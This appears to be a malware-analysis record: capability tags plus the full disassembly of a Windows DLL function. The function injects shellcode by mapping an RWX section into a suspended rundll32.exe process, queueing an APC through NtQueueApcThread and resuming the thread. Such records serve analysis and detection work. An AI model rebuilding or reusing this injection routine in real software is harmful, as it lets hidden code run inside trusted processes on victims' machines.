Function at 0x180001420
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x1800f9018]
xor rax, rsp
mov qword [rbp], rax
xor r12d, r12d
mov r15, rcx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov rdi, rdx
mov qword [rsp + 0x78], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtMapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueueApcThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], r12
lea r9, [rbp - 0x80]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
mov qword [rbp - 0x80], rdi
mov r14, rax
call rbx
test eax, eax
js 0x18000167e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x50]
mov dword [rsp + 0x48], 0x40
mov rdx, rax
mov dword [rsp + 0x40], r12d
lea rax, [rsp + 0x78]
mov dword [rsp + 0x38], 2
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdi
call rsi
test eax, eax
js 0x18000167e
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor eax, eax
lea rdx, str.rundll32.exe
mov dword [rbp - 0xc], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000167e
mov rdx, qword [rsp + 0x60]
lea rax, [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x50]
mov dword [rsp + 0x48], 0x40
xor r9d, r9d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdi
call rsi
test eax, eax
jns 0x180001636
mov rcx, qword [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x18000167e
mov rdx, qword [rsp + 0x50]
xor r9d, r9d
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], r12d
call r14
test eax, eax
js 0x180001627
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.180002c10
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret